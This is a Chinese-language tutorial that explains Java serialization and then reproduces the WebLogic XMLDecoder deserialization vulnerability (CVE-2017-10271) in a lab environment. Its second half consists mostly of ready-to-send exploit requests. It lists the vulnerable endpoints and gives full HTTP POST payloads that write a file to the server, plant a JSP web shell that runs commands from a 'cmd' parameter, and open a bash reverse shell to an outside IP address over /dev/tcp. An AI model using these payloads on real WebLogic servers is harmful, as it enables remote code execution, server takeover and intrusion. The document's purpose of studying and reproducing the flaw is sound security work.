Java的序列化(Serialize)与反序列化(Deserialize)是对IO流的一种机制。Java序列化的目标是将对象保存到磁盘中或允许在网络中直接传输对象。序列化机制将允许实现序列化的java对象转换成不依赖平台的字节序列,这些字节序列可以保存在磁盘上,或通过网络传输。而Java的反序列化可以把字节序列恢复为Java对象,也就是说序列化将一个Java对象写入IO流中,反序列化从这个IO流中恢复这个对象,目的是使对象可以脱离Java运行环境,实现多平台之间的通信与持久化存储。
简单来说,Java序列化就是把对象转换成字节流,便于保存在内存、文件、数据库中,Java中的 ObjectOutputStream 类的writeObject()
方法可以实现序列化。
Java反序列化即逆过程,由字节流还原成对象。ObjectInputStream类的readObject()
方法用于反序列化。
Java序列化机制原理:https://www.cnblogs.com/senlinyang/p/8204752.html
序列化的作用:远程方法调用、便于通过网络传输对象至远程系统、便于存储对象再数据库或本地文件
流(stream)的概念源于UNIX中管道(pipe)的概念。在UNIX中,管道是一条不间断的字节流,用来实现程序或进程间的通信,或读写外围设备、外部文件等。
流的方向是重要的,根据流的方向,流可分为两类:输入流和输出流。用户可以从输入流中读取信息,但不能写它。相反,对输出流,只能往输入流写,而不能读它。
那什么样的对象是允许实现序列化的呢?可序列化类必须实现 Serializable 和 Externalizable 两个接口之一,很多类已经实现了 Serializable ,这个接口是一个标记接口,它只是表示实现它的类是可序列化的。
所有在网上传输的对象的类都应该是可序列化的,主要应用在以下场景:
// 序列化
FileOutputStream fos = new FileOutputStream("file.txt"); //创建一个ObjectOutpuStream() 输出流
ObjectOutputStream oos = new ObjectOutputStream(fos);
Person test = new SerializableTest();
oos.writeObject(test); //将一个SerializableTest对象输出到输出流中
// 反序列化
FileInputStream fis = new FileInputStream("file.txt"); //创建一个ObjectInpuStream() 输入流
ObjectInputStream ois = new ObjectInputStream(fis);
Student st1 = (SerializableTest) ois.readObject();
注:
要利用Java反序列化漏洞,需要在进行反序列化的地方传入攻击者的序列化代码。如果Java应用对用户输入,即不可信数据做了反序列化处理,那么攻击者可以通过构造恶意输入,让反序列化产生非预期的对象,非预期的对象在产生过程中就有可能带来任意代码执行。
漏洞危害: RCE、DOS、SSRF、etc。
WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。
Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。
Weblogic 10.3.6 | 12.1.3.0.0 | 12.2.1.1.0
Weblogic 10.3.6:https://vulhub.org/#/environments/weblogic/CVE-2017-10271/
源码分析详解:https://blog.51cto.com/skytina/2055335
简单来说,就是没有任何过滤就直接调用了XMLDecoder
方法,而XMLDecoder
本身就是用于将XML文件反序列成java的对象,因而造成漏洞的发生。
归根结底,还是weblogic犯了编码上的错误,完全信任用户的输入,然后调用XmlDecoder
进行反序列化,导致了漏洞的产生。
漏洞地址:
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11
搭建好环境,访问http://your-ip:7001/
即可看到一个404页面,说明weblogic已成功启动。
先使用XML反序列化漏洞检查工具验证漏洞是否存在:
访问漏洞地址,验证此漏洞存在:
此处进行上传文件的操作,打开漏洞地址/wls-wsat/CoordinatorPortType
首先用burpsuit抓包,改为POST方法,注意将Content-Type
内容改为text/xml
,尝试写入文件:
POC如下:
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: [your-ip]:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 598
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/test.txt</string>
<void method="println">
<string>
SUCCESSFUL!
</string>
</void>
<void method="close"/>
</object></java></java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
访问文件地址:http://192.168.1.113:7001/wls-wsat/test.txt
写入木马,执行远程系统命令:
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: [your-ip]:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 854
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/shell.jsp</string>
<void method="println">
<string>
<![CDATA[
<%java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print(""
);
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("
");
%>]]>
</string>
</void>
<void method="close"/>
</object></java></java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
反弹shell的POC如下:
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: [your-ip]:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 639
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/192.168.1.117/12581 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
参考链接:
http://www.wxylyw.com/2018/11/07/%E7%90%86%E8%A7%A3Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E-1/(理解Java反序列化漏洞)
https://www.cnblogs.com/senlinyang/p/8204752.html(Java序列化机制原理)
https://blog.51cto.com/skytina/2055335(WebLogic XMLDecoder反序列化漏洞(CVE-2017-10271)漏洞分析)
https://blog.csdn.net/yumengzth/article/details/97522783(XML Decoder反序列化漏洞(CVE-2017-10271)漏洞复现)